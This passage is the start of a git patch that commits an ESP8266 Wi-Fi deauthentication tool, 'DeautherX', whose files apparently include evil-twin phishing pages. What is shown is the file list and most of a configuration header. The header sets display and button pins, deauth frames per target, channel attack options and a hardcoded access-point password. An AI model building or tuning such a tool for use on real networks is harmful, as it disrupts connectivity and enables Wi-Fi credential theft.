From bdda481bffb50202fad251eadf8b72b0833afd87 Mon Sep 17 00:00:00 2001 From: TemanSv1n Date: Tue, 2 Dec 2025 18:52:45 +0300 Subject: [PATCH] first commit --- DeautherX/A_config.h | 520 + DeautherX/Accesspoints.cpp | 314 + DeautherX/Accesspoints.h | 80 + DeautherX/Attack.cpp | 479 + DeautherX/Attack.h | 204 + DeautherX/BatteryManagement.cpp | 47 + DeautherX/BatteryManagement.h | 22 + DeautherX/CLI.cpp | 1339 + DeautherX/CLI.h | 89 + DeautherX/DeautherX.ino | 200 + DeautherX/DisplayUI.cpp | 1239 + DeautherX/DisplayUI.h | 689 + DeautherX/EEPROMHelper.h | 62 + DeautherX/EvilTwin.cpp | 41 + DeautherX/EvilTwin.h | 25 + DeautherX/Names.cpp | 519 + DeautherX/Names.h | 101 + DeautherX/SSIDs.cpp | 322 + DeautherX/SSIDs.h | 84 + DeautherX/Scan.cpp | 476 + DeautherX/Scan.h | 96 + DeautherX/SimpleList.h | 515 + DeautherX/Stations.cpp | 373 + DeautherX/Stations.h | 97 + DeautherX/data/web/LICENSE.gz | Bin 0 -> 695 bytes DeautherX/data/web/attack.html.gz | Bin 0 -> 1507 bytes DeautherX/data/web/index.html.gz | Bin 0 -> 1029 bytes DeautherX/data/web/info.html.gz | Bin 0 -> 2102 bytes DeautherX/data/web/js/attack.js.gz | Bin 0 -> 541 bytes DeautherX/data/web/js/scan.js.gz | Bin 0 -> 2356 bytes DeautherX/data/web/js/settings.js.gz | Bin 0 -> 729 bytes DeautherX/data/web/js/site.js.gz | Bin 0 -> 1166 bytes DeautherX/data/web/js/ssids.js.gz | Bin 0 -> 1039 bytes DeautherX/data/web/lang/cn.lang.gz | Bin 0 -> 2985 bytes DeautherX/data/web/lang/cs.lang.gz | Bin 0 -> 2878 bytes DeautherX/data/web/lang/da.lang.gz | Bin 0 -> 2881 bytes DeautherX/data/web/lang/de.lang.gz | Bin 0 -> 3056 bytes DeautherX/data/web/lang/en.lang.gz | Bin 0 -> 2831 bytes DeautherX/data/web/lang/es.lang.gz | Bin 0 -> 3187 bytes DeautherX/data/web/lang/fi.lang.gz | Bin 0 -> 2919 bytes DeautherX/data/web/lang/fr.lang.gz | Bin 0 -> 3202 bytes DeautherX/data/web/lang/hu.lang.gz | Bin 0 -> 3473 bytes DeautherX/data/web/lang/in.lang.gz | Bin 0 -> 2917 bytes DeautherX/data/web/lang/it.lang.gz | Bin 0 -> 3049 bytes DeautherX/data/web/lang/ja.lang.gz | Bin 0 -> 3260 bytes DeautherX/data/web/lang/ko.lang.gz | Bin 0 -> 3245 bytes DeautherX/data/web/lang/nl.lang.gz | Bin 0 -> 3123 bytes DeautherX/data/web/lang/pl.lang.gz | Bin 0 -> 3343 bytes DeautherX/data/web/lang/pt-br.lang.gz | Bin 0 -> 3124 bytes DeautherX/data/web/lang/ptbr.lang.gz | Bin 0 -> 3130 bytes DeautherX/data/web/lang/ro.lang.gz | Bin 0 -> 3193 bytes DeautherX/data/web/lang/ru.lang.gz | Bin 0 -> 3903 bytes DeautherX/data/web/lang/th.lang.gz | Bin 0 -> 3761 bytes DeautherX/data/web/lang/tlh.lang.gz | Bin 0 -> 2710 bytes DeautherX/data/web/lang/uk.lang.gz | Bin 0 -> 3905 bytes DeautherX/data/web/scan.html.gz | Bin 0 -> 1252 bytes DeautherX/data/web/settings.html.gz | Bin 0 -> 940 bytes DeautherX/data/web/ssids.html.gz | Bin 0 -> 1207 bytes DeautherX/data/web/style.css.gz | Bin 0 -> 1781 bytes DeautherX/debug.h | 41 + DeautherX/functions.h | 834 + DeautherX/language.h | 683 + DeautherX/led.cpp | 139 + DeautherX/led.h | 19 + DeautherX/oui.h | 39802 ++++++++++++++++ DeautherX/settings.cpp | 322 + DeautherX/settings.h | 134 + .../Adafruit_DotStar.cpp | 638 + .../Adafruit_DotStar-1.1.4/Adafruit_DotStar.h | 211 + .../src/Adafruit_DotStar-1.1.4/license.txt | 674 + .../Adafruit_NeoPixel.cpp | 2601 + .../Adafruit_NeoPixel.h | 366 + DeautherX/src/Adafruit_NeoPixel-1.7.0/COPYING | 165 + .../src/Adafruit_NeoPixel-1.7.0/esp8266.c | 86 + .../src/ArduinoJson-v5.13.5/ArduinoJson.h | 3429 ++ DeautherX/src/DS3231-1.0.3/DS3231.cpp | 738 + DeautherX/src/DS3231-1.0.3/DS3231.h | 183 + DeautherX/src/DS3231-1.0.3/LICENSE | 24 + .../src/SimpleButton/Buttons/AnalogStick.cpp | 139 + .../src/SimpleButton/Buttons/AnalogStick.h | 53 + DeautherX/src/SimpleButton/Buttons/Button.cpp | 319 + DeautherX/src/SimpleButton/Buttons/Button.h | 111 + .../src/SimpleButton/Buttons/ButtonAnalog.cpp | 77 + .../src/SimpleButton/Buttons/ButtonAnalog.h | 37 + .../Buttons/ButtonGPIOExpander.cpp | 55 + .../SimpleButton/Buttons/ButtonGPIOExpander.h | 32 + .../src/SimpleButton/Buttons/ButtonPullup.cpp | 28 + .../src/SimpleButton/Buttons/ButtonPullup.h | 20 + .../Buttons/ButtonPullupGPIOExpander.cpp | 29 + .../Buttons/ButtonPullupGPIOExpander.h | 20 + .../src/SimpleButton/Buttons/PS2Gamepad.cpp | 400 + .../src/SimpleButton/Buttons/PS2Gamepad.h | 93 + .../SimpleButton/Buttons/RotaryEncoder.cpp | 172 + .../src/SimpleButton/Buttons/RotaryEncoder.h | 71 + .../SimpleButton/Buttons/RotaryEncoderI2C.cpp | 276 + .../SimpleButton/Buttons/RotaryEncoderI2C.h | 92 + DeautherX/src/SimpleButton/Buttons/Switch.cpp | 63 + DeautherX/src/SimpleButton/Buttons/Switch.h | 36 + .../src/SimpleButton/Events/ClickEvent.cpp | 28 + .../src/SimpleButton/Events/ClickEvent.h | 22 + .../SimpleButton/Events/DoubleclickEvent.cpp | 34 + .../SimpleButton/Events/DoubleclickEvent.h | 24 + DeautherX/src/SimpleButton/Events/Event.cpp | 34 + DeautherX/src/SimpleButton/Events/Event.h | 30 + .../src/SimpleButton/Events/HoldEvent.cpp | 23 + DeautherX/src/SimpleButton/Events/HoldEvent.h | 19 + .../src/SimpleButton/Events/PushEvent.cpp | 18 + DeautherX/src/SimpleButton/Events/PushEvent.h | 16 + .../src/SimpleButton/Events/ReleaseEvent.cpp | 18 + .../src/SimpleButton/Events/ReleaseEvent.h | 16 + DeautherX/src/SimpleButton/LICENSE | 21 + DeautherX/src/SimpleButton/SimpleButton.h | 15 + .../src/SimpleButton/libs/GPIOExpander.cpp | 54 + .../src/SimpleButton/libs/GPIOExpander.h | 37 + DeautherX/src/SimpleButton/libs/MCP23017.cpp | 173 + DeautherX/src/SimpleButton/libs/MCP23017.h | 46 + DeautherX/src/SimpleButton/libs/PCF8574.cpp | 76 + DeautherX/src/SimpleButton/libs/PCF8574.h | 28 + DeautherX/src/SimpleButton/libs/PCF8575.cpp | 62 + DeautherX/src/SimpleButton/libs/PCF8575.h | 28 + .../OLEDDisplay.cpp | 1022 + .../esp8266-oled-ssd1306-4.1.0/OLEDDisplay.h | 373 + .../OLEDDisplayFonts.h | 1278 + .../OLEDDisplayUi.cpp | 469 + .../OLEDDisplayUi.h | 312 + .../src/esp8266-oled-ssd1306-4.1.0/README.md | 419 + .../src/esp8266-oled-ssd1306-4.1.0/SH1106.h | 39 + .../esp8266-oled-ssd1306-4.1.0/SH1106Brzo.h | 141 + .../esp8266-oled-ssd1306-4.1.0/SH1106Spi.h | 135 + .../esp8266-oled-ssd1306-4.1.0/SH1106Wire.h | 160 + .../src/esp8266-oled-ssd1306-4.1.0/SSD1306.h | 39 + .../esp8266-oled-ssd1306-4.1.0/SSD1306Brzo.h | 162 + .../esp8266-oled-ssd1306-4.1.0/SSD1306I2C.h | 152 + .../esp8266-oled-ssd1306-4.1.0/SSD1306Spi.h | 163 + .../esp8266-oled-ssd1306-4.1.0/SSD1306Wire.h | 188 + .../src/esp8266-oled-ssd1306-4.1.0/license | 24 + DeautherX/src/my92xx-3.0.3/LICENSE | 675 + DeautherX/src/my92xx-3.0.3/my92xx.cpp | 221 + DeautherX/src/my92xx-3.0.3/my92xx.h | 123 + DeautherX/webfiles.h | 838 + DeautherX/wifi.cpp | 746 + DeautherX/wifi.h | 29 + EvilTwin/README.md | 11 + EvilTwin/Wi-Fi.html | 13 + EvilTwin/WiFI1.html | 39 + EvilTwin/WiFi.html | 118 + EvilTwin/Wi_Fi.html | 49 + LICENSE.txt | 23 + README.md | 90 + Reset_Sketch/README.md | 3 + Reset_Sketch/Reset_Sketch.ino | 47 + arduino-cli.yaml | 4 + img/DeautherX.png | Bin 0 -> 31441 bytes serialcommands.md | 335 + settings.md | 158 + web_interface/README.md | 7 + web_interface/attack.html | 1 + web_interface/attack.json | 1 + web_interface/connecting.html | 59 + web_interface/fsmanager.html | 1 + web_interface/index.html | 254 + web_interface/info.html | 1 + web_interface/js/attack.js | 63 + web_interface/js/fs.js | 46 + web_interface/js/scan.js | 296 + web_interface/js/settings.js | 53 + web_interface/js/site.js | 126 + web_interface/js/ssids.js | 107 + web_interface/lang/cn.lang | 74 + web_interface/lang/cs.lang | 75 + web_interface/lang/da.lang | 74 + web_interface/lang/de.lang | 74 + web_interface/lang/en.lang | 74 + web_interface/lang/es.lang | 74 + web_interface/lang/fi.lang | 74 + web_interface/lang/fr.lang | 74 + web_interface/lang/hu.lang | 74 + web_interface/lang/in.lang | 74 + web_interface/lang/it.lang | 74 + web_interface/lang/ja.lang | 74 + web_interface/lang/ko.lang | 74 + web_interface/lang/nl.lang | 74 + web_interface/lang/pl.lang | 73 + web_interface/lang/ptbr.lang | 74 + web_interface/lang/ro.lang | 74 + web_interface/lang/ru.lang | 74 + web_interface/lang/th.lang | 74 + web_interface/lang/tlh.lang | 74 + web_interface/lang/uk.lang | 74 + web_interface/list.json | 1 + web_interface/log.json | 7 + web_interface/login.html | 118 + web_interface/names.json | 26 + web_interface/run | 1 + web_interface/scan.html | 1 + web_interface/scan.json | 97 + web_interface/settings.html | 1 + web_interface/settings.json | 29 + web_interface/ssids.html | 1 + web_interface/ssids.json | 305 + web_interface/style.css | 1 + web_interface/test.html | 1 + 202 files changed, 73723 insertions(+) create mode 100644 DeautherX/A_config.h create mode 100644 DeautherX/Accesspoints.cpp create mode 100644 DeautherX/Accesspoints.h create mode 100644 DeautherX/Attack.cpp create mode 100644 DeautherX/Attack.h create mode 100644 DeautherX/BatteryManagement.cpp create mode 100644 DeautherX/BatteryManagement.h create mode 100644 DeautherX/CLI.cpp create mode 100644 DeautherX/CLI.h create mode 100644 DeautherX/DeautherX.ino create mode 100644 DeautherX/DisplayUI.cpp create mode 100644 DeautherX/DisplayUI.h create mode 100644 DeautherX/EEPROMHelper.h create mode 100644 DeautherX/EvilTwin.cpp create mode 100644 DeautherX/EvilTwin.h create mode 100644 DeautherX/Names.cpp create mode 100644 DeautherX/Names.h create mode 100644 DeautherX/SSIDs.cpp create mode 100644 DeautherX/SSIDs.h create mode 100644 DeautherX/Scan.cpp create mode 100644 DeautherX/Scan.h create mode 100644 DeautherX/SimpleList.h create mode 100644 DeautherX/Stations.cpp create mode 100644 DeautherX/Stations.h create mode 100644 DeautherX/data/web/LICENSE.gz create mode 100644 DeautherX/data/web/attack.html.gz create mode 100644 DeautherX/data/web/index.html.gz create mode 100644 DeautherX/data/web/info.html.gz create mode 100644 DeautherX/data/web/js/attack.js.gz create mode 100644 DeautherX/data/web/js/scan.js.gz create mode 100644 DeautherX/data/web/js/settings.js.gz create mode 100644 DeautherX/data/web/js/site.js.gz create mode 100644 DeautherX/data/web/js/ssids.js.gz create mode 100644 DeautherX/data/web/lang/cn.lang.gz create mode 100644 DeautherX/data/web/lang/cs.lang.gz create mode 100644 DeautherX/data/web/lang/da.lang.gz create mode 100644 DeautherX/data/web/lang/de.lang.gz create mode 100644 DeautherX/data/web/lang/en.lang.gz create mode 100644 DeautherX/data/web/lang/es.lang.gz create mode 100644 DeautherX/data/web/lang/fi.lang.gz create mode 100644 DeautherX/data/web/lang/fr.lang.gz create mode 100644 DeautherX/data/web/lang/hu.lang.gz create mode 100644 DeautherX/data/web/lang/in.lang.gz create mode 100644 DeautherX/data/web/lang/it.lang.gz create mode 100644 DeautherX/data/web/lang/ja.lang.gz create mode 100644 DeautherX/data/web/lang/ko.lang.gz create mode 100644 DeautherX/data/web/lang/nl.lang.gz create mode 100644 DeautherX/data/web/lang/pl.lang.gz create mode 100644 DeautherX/data/web/lang/pt-br.lang.gz create mode 100644 DeautherX/data/web/lang/ptbr.lang.gz create mode 100644 DeautherX/data/web/lang/ro.lang.gz create mode 100644 DeautherX/data/web/lang/ru.lang.gz create mode 100644 DeautherX/data/web/lang/th.lang.gz create mode 100644 DeautherX/data/web/lang/tlh.lang.gz create mode 100644 DeautherX/data/web/lang/uk.lang.gz create mode 100644 DeautherX/data/web/scan.html.gz create mode 100644 DeautherX/data/web/settings.html.gz create mode 100644 DeautherX/data/web/ssids.html.gz create mode 100644 DeautherX/data/web/style.css.gz create mode 100644 DeautherX/debug.h create mode 100644 DeautherX/functions.h create mode 100644 DeautherX/language.h create mode 100644 DeautherX/led.cpp create mode 100644 DeautherX/led.h create mode 100644 DeautherX/oui.h create mode 100644 DeautherX/settings.cpp create mode 100644 DeautherX/settings.h create mode 100644 DeautherX/src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.cpp create mode 100644 DeautherX/src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.h create mode 100644 DeautherX/src/Adafruit_DotStar-1.1.4/license.txt create mode 100644 DeautherX/src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.cpp create mode 100644 DeautherX/src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.h create mode 100644 DeautherX/src/Adafruit_NeoPixel-1.7.0/COPYING create mode 100644 DeautherX/src/Adafruit_NeoPixel-1.7.0/esp8266.c create mode 100644 DeautherX/src/ArduinoJson-v5.13.5/ArduinoJson.h create mode 100644 DeautherX/src/DS3231-1.0.3/DS3231.cpp create mode 100644 DeautherX/src/DS3231-1.0.3/DS3231.h create mode 100644 DeautherX/src/DS3231-1.0.3/LICENSE create mode 100644 DeautherX/src/SimpleButton/Buttons/AnalogStick.cpp create mode 100644 DeautherX/src/SimpleButton/Buttons/AnalogStick.h create mode 100644 DeautherX/src/SimpleButton/Buttons/Button.cpp create mode 100644 DeautherX/src/SimpleButton/Buttons/Button.h create mode 100644 DeautherX/src/SimpleButton/Buttons/ButtonAnalog.cpp create mode 100644 DeautherX/src/SimpleButton/Buttons/ButtonAnalog.h create mode 100644 DeautherX/src/SimpleButton/Buttons/ButtonGPIOExpander.cpp create mode 100644 DeautherX/src/SimpleButton/Buttons/ButtonGPIOExpander.h create mode 100644 DeautherX/src/SimpleButton/Buttons/ButtonPullup.cpp create mode 100644 DeautherX/src/SimpleButton/Buttons/ButtonPullup.h create mode 100644 DeautherX/src/SimpleButton/Buttons/ButtonPullupGPIOExpander.cpp create mode 100644 DeautherX/src/SimpleButton/Buttons/ButtonPullupGPIOExpander.h create mode 100644 DeautherX/src/SimpleButton/Buttons/PS2Gamepad.cpp create mode 100644 DeautherX/src/SimpleButton/Buttons/PS2Gamepad.h create mode 100644 DeautherX/src/SimpleButton/Buttons/RotaryEncoder.cpp create mode 100644 DeautherX/src/SimpleButton/Buttons/RotaryEncoder.h create mode 100644 DeautherX/src/SimpleButton/Buttons/RotaryEncoderI2C.cpp create mode 100644 DeautherX/src/SimpleButton/Buttons/RotaryEncoderI2C.h create mode 100644 DeautherX/src/SimpleButton/Buttons/Switch.cpp create mode 100644 DeautherX/src/SimpleButton/Buttons/Switch.h create mode 100644 DeautherX/src/SimpleButton/Events/ClickEvent.cpp create mode 100644 DeautherX/src/SimpleButton/Events/ClickEvent.h create mode 100644 DeautherX/src/SimpleButton/Events/DoubleclickEvent.cpp create mode 100644 DeautherX/src/SimpleButton/Events/DoubleclickEvent.h create mode 100644 DeautherX/src/SimpleButton/Events/Event.cpp create mode 100644 DeautherX/src/SimpleButton/Events/Event.h create mode 100644 DeautherX/src/SimpleButton/Events/HoldEvent.cpp create mode 100644 DeautherX/src/SimpleButton/Events/HoldEvent.h create mode 100644 DeautherX/src/SimpleButton/Events/PushEvent.cpp create mode 100644 DeautherX/src/SimpleButton/Events/PushEvent.h create mode 100644 DeautherX/src/SimpleButton/Events/ReleaseEvent.cpp create mode 100644 DeautherX/src/SimpleButton/Events/ReleaseEvent.h create mode 100644 DeautherX/src/SimpleButton/LICENSE create mode 100644 DeautherX/src/SimpleButton/SimpleButton.h create mode 100644 DeautherX/src/SimpleButton/libs/GPIOExpander.cpp create mode 100644 DeautherX/src/SimpleButton/libs/GPIOExpander.h create mode 100644 DeautherX/src/SimpleButton/libs/MCP23017.cpp create mode 100644 DeautherX/src/SimpleButton/libs/MCP23017.h create mode 100644 DeautherX/src/SimpleButton/libs/PCF8574.cpp create mode 100644 DeautherX/src/SimpleButton/libs/PCF8574.h create mode 100644 DeautherX/src/SimpleButton/libs/PCF8575.cpp create mode 100644 DeautherX/src/SimpleButton/libs/PCF8575.h create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplay.cpp create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplay.h create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplayFonts.h create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplayUi.cpp create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplayUi.h create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/README.md create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/SH1106.h create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/SH1106Brzo.h create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/SH1106Spi.h create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/SH1106Wire.h create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/SSD1306.h create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/SSD1306Brzo.h create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/SSD1306I2C.h create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/SSD1306Spi.h create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/SSD1306Wire.h create mode 100644 DeautherX/src/esp8266-oled-ssd1306-4.1.0/license create mode 100644 DeautherX/src/my92xx-3.0.3/LICENSE create mode 100644 DeautherX/src/my92xx-3.0.3/my92xx.cpp create mode 100644 DeautherX/src/my92xx-3.0.3/my92xx.h create mode 100644 DeautherX/webfiles.h create mode 100644 DeautherX/wifi.cpp create mode 100644 DeautherX/wifi.h create mode 100644 EvilTwin/README.md create mode 100644 EvilTwin/Wi-Fi.html create mode 100644 EvilTwin/WiFI1.html create mode 100644 EvilTwin/WiFi.html create mode 100644 EvilTwin/Wi_Fi.html create mode 100644 LICENSE.txt create mode 100644 README.md create mode 100644 Reset_Sketch/README.md create mode 100644 Reset_Sketch/Reset_Sketch.ino create mode 100644 arduino-cli.yaml create mode 100644 img/DeautherX.png create mode 100644 serialcommands.md create mode 100644 settings.md create mode 100644 web_interface/README.md create mode 100644 web_interface/attack.html create mode 100644 web_interface/attack.json create mode 100644 web_interface/connecting.html create mode 100644 web_interface/fsmanager.html create mode 100644 web_interface/index.html create mode 100644 web_interface/info.html create mode 100644 web_interface/js/attack.js create mode 100644 web_interface/js/fs.js create mode 100644 web_interface/js/scan.js create mode 100644 web_interface/js/settings.js create mode 100644 web_interface/js/site.js create mode 100644 web_interface/js/ssids.js create mode 100644 web_interface/lang/cn.lang create mode 100644 web_interface/lang/cs.lang create mode 100644 web_interface/lang/da.lang create mode 100644 web_interface/lang/de.lang create mode 100644 web_interface/lang/en.lang create mode 100644 web_interface/lang/es.lang create mode 100644 web_interface/lang/fi.lang create mode 100644 web_interface/lang/fr.lang create mode 100644 web_interface/lang/hu.lang create mode 100644 web_interface/lang/in.lang create mode 100644 web_interface/lang/it.lang create mode 100644 web_interface/lang/ja.lang create mode 100644 web_interface/lang/ko.lang create mode 100644 web_interface/lang/nl.lang create mode 100644 web_interface/lang/pl.lang create mode 100644 web_interface/lang/ptbr.lang create mode 100644 web_interface/lang/ro.lang create mode 100644 web_interface/lang/ru.lang create mode 100644 web_interface/lang/th.lang create mode 100644 web_interface/lang/tlh.lang create mode 100644 web_interface/lang/uk.lang create mode 100644 web_interface/list.json create mode 100644 web_interface/log.json create mode 100644 web_interface/login.html create mode 100644 web_interface/names.json create mode 100644 web_interface/run create mode 100644 web_interface/scan.html create mode 100644 web_interface/scan.json create mode 100644 web_interface/settings.html create mode 100644 web_interface/settings.json create mode 100644 web_interface/ssids.html create mode 100644 web_interface/ssids.json create mode 100644 web_interface/style.css create mode 100644 web_interface/test.html diff --git a/DeautherX/A_config.h b/DeautherX/A_config.h new file mode 100644 index 0000000..bbd25b8 --- /dev/null +++ b/DeautherX/A_config.h @@ -0,0 +1,520 @@ +/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */ + +#pragma once + +#define ENABLE_DEBUG +#define DEBUG_PORT Serial +#define DEBUG_BAUD 115200 +#define NAPT 1000 +#define NAPT_PORT 10 + + + +#define DEFAULT + + + +// #define HACKHELD_VEGA +// #define DISPLAY_EXAMPLE_I2C +// #define DISPLAY_EXAMPLE_SPI + +// Forces formatting of SPIFFS and EEPROM ot startup +// #define FORMAT_SPIFFS +// #define FORMAT_EEPROM + +// //Forces a reset of all settings at startup +// #define RESET_SETTINGS + +// ========== CONFIGS ========== // + + +#if defined(DEFAULT) +// ===== LED ===== // + #define LED_DIGITAL + #define ONE_HIT 0 + #define LED_ANODE true + #define LED_PIN_B 15 + +// ===== BAT ===== // + #define USE_BAT false + #define MAX_BAT 65 + +// ===== DISPLAY ===== // + #define DISPLAY_TEXT "NKSP-G00N" + #define FLIP_DIPLAY true + #define LIGHT 16 + + + //#define SH1106_I2C // [ For 1.3 inch I2C OLED Display] + #define SSD1306_I2C // [ For 0.96 inch I2C OLED Display] + + + #define I2C_ADDR 0x3C + #define I2C_SDA 4 // D2 + #define I2C_SCL 5 // D1 + +// ===== BUTTONS ===== // + #define BUTTON_UP 14 // D5 + #define BUTTON_DOWN 12 // D6 + #define BUTTON_A 2 // D4 + #define BUTTON_B 0 // D3 + +#define WEB_IP_ADDR (192, 168, 4, 1) +#define WEB_URL "deauther.tools" + +#elif defined(NODEMCU) + #define LED_DIGITAL + #define LED_PIN_B 2 + + #define LED_INT_OFF 0 + #define LED_INT_ATTACK 500 + #define LED_INT_SCAN 500 + #define LED_INT_IDLE 100 + +#elif defined(HACKHELD_VEGA) + +// ===== BAT ===== // + #define USE_BAT true + #define MAX_BAT 65 + +// ===== LED ===== // + #define USE_LED true + #define LED_NEOPIXEL + + #define LED_NEOPIXEL_GRB +// #define LED_NEOPIXEL_RGB + + #define LED_MODE_BRIGHTNESS 10 + + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 15 // D8 + #define LIGHT 16 + +// ===== DISPLAY ===== // + #define DISPLAY_TEXT "NKSP-G00N" + #define USE_DISPLAY true + #define FLIP_DIPLAY true + + #define SH1106_I2C + + #define I2C_ADDR 0x3C + #define I2C_SDA 4 // D2 + #define I2C_SCL 5 // D1 + +// ===== BUTTONS ===== // + #define BUTTON_UP 14 // D5 + #define BUTTON_DOWN 12 // D6 + #define BUTTON_A 2 // D4 + #define BUTTON_B 0 // D3 + +// https://github.com/BlackTechX011/DeautherX/wiki/Setup-Display-&-Buttons#example-setup-with-i2c-oled +#elif defined(DISPLAY_EXAMPLE_I2C) + +// ===== DISPLAY ===== // + //#define SH1106_I2C + #define SSD1306_I2C + #define DISPLAY_TEXT "GitHub: BlackTechX011" + #define I2C_ADDR 0x3C + #define I2C_SDA 5 + #define I2C_SCL 4 + +// #define FLIP_DIPLAY true + +// ===== BUTTONS ===== // + #define BUTTON_UP 14 + #define BUTTON_DOWN 12 + #define BUTTON_A 13 + +// ===== LED ===== // + #define LED_NEOPIXEL_GRB +// #define LED_NEOPIXEL_RGB + + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 9 + #define LED_MODE_BRIGHTNESS 10 + + +// https://github.com/spacehuhntech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-spi-oled +#elif defined(DISPLAY_EXAMPLE_SPI) + + #define SH1106_SPI +// #define SSD1306_SPI + #define DISPLAY_TEXT "GitHub: BlackTechX011" + #define SPI_RES 5 + #define SPI_DC 4 + #define SPI_CS 15 + +// #define FLIP_DIPLAY true + +// ===== BUTTONS ===== // + #define BUTTON_UP 0 + #define BUTTON_DOWN 12 + #define BUTTON_A 2 + +// ===== LED ===== // + #define LED_NEOPIXEL_GRB +// #define LED_NEOPIXEL_RGB + + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 9 + #define LED_MODE_BRIGHTNESS 10 + +#elif defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3) +// ===== LED ===== // +// #define LED_DIGITAL +// #define LED_PIN_R 16 // NodeMCU on-board LED +// #define LED_PIN_B 2 // ESP-12 LEDS + +#endif /* if defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3) */ +// ============================== // + + +// ========= FALLBACK ========= // + +// ===== AUTOSAVE ===== // +#ifndef USE_BAT + #define USE_BAT false +#endif +#ifndef MAX_BAT + #define MAX_BAT 65 +#endif +#ifndef AUTOSAVE_ENABLED + #define AUTOSAVE_ENABLED true +#endif /* ifndef ATTACK_ALL_CH */ + +#ifndef AUTOSAVE_TIME + #define AUTOSAVE_TIME 60 +#endif /* ifndef ATTACK_ALL_CH */ + +// ===== ATTACK ===== // +#ifndef ATTACK_ALL_CH + #define ATTACK_ALL_CH false +#endif /* ifndef ATTACK_ALL_CH */ + +#ifndef RANDOM_TX + #define RANDOM_TX false +#endif /* ifndef RANDOM_TX */ + +#ifndef ATTACK_TIMEOUT + #define ATTACK_TIMEOUT 0 +#endif /* ifndef ATTACK_TIMEOUT */ + +#ifndef DEAUTHS_PER_TARGET + #define DEAUTHS_PER_TARGET 25 +#endif /* ifndef DEAUTHS_PER_TARGET */ + +#ifndef DEAUTH_REASON + #define DEAUTH_REASON 1 +#endif /* ifndef DEAUTH_REASON */ + +#ifndef BEACON_INTERVAL_100MS + #define BEACON_INTERVAL_100MS true +#endif /* ifndef BEACON_INTERVAL_100MS */ + +#ifndef PROBE_FRAMES_PER_SSID + #define PROBE_FRAMES_PER_SSID 1 +#endif /* ifndef PROBE_FRAMES_PER_SSID */ + +// ===== SNIFFER ===== // +#ifndef CH_TIME + #define CH_TIME 200 +#endif /* ifndef CH_TIME */ + +#ifndef MIN_DEAUTH_FRAMES + #define MIN_DEAUTH_FRAMES 3 +#endif /* ifndef MIN_DEAUTH_FRAMES */ + +// ===== ACCESS POINT ===== // +#ifndef AP_SSID + #define AP_SSID "ZeeXyL19-kv84" +#endif /* ifndef AP_SSID */ + +#ifndef AP_PASSWD + #define AP_PASSWD "19841488" +#endif /* ifndef AP_PASSWD */ + +#ifndef AP_HIDDEN + #define AP_HIDDEN false +#endif /* ifndef AP_HIDDEN */ + +#ifndef AP_IP_ADDR + #define AP_IP_ADDR { 192, 168, 4, 1 } +#endif /* ifndef AP_IP_ADDR */ + +// ===== WEB INTERFACE ===== // +#ifndef WEB_ENABLED + #define WEB_ENABLED true +#endif /* ifndef WEB_ENABLED */ + +#ifndef WEB_CAPTIVE_PORTAL + #define WEB_CAPTIVE_PORTAL false +#endif /* ifndef WEB_CAPTIVE_PORTAL */ + +#ifndef WEB_USE_SPIFFS + #define WEB_USE_SPIFFS false +#endif /* ifndef WEB_USE_SPIFFS */ + +#ifndef DEFAULT_LANG + #define DEFAULT_LANG "en" +#endif /* ifndef DEFAULT_LANG */ + +// ===== CLI ===== // +#ifndef CLI_ENABLED + #define CLI_ENABLED true +#endif /* ifndef CLI_ENABLED */ + +#ifndef CLI_ECHO + #define CLI_ECHO true +#endif /* ifndef CLI_ECHO */ + +// =============== LED =============== // +#if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB) + #define LED_NEOPIXEL +#endif /* if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB) */ + +#if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR) + #define LED_DIGITAL + #define USE_LED false +#else // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR) + #define USE_LED true +#endif // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR) + +#ifndef LED_PIN_R + #define LED_PIN_R 255 +#endif /* ifndef LED_PIN_R */ + +#ifndef LED_PIN_G + #define LED_PIN_G 255 +#endif /* ifndef LED_PIN_G */ + +#ifndef LED_PIN_B + #define LED_PIN_B 255 +#endif /* ifndef LED_PIN_B */ + +#ifndef LED_ANODE + #define LED_ANODE false +#endif /* 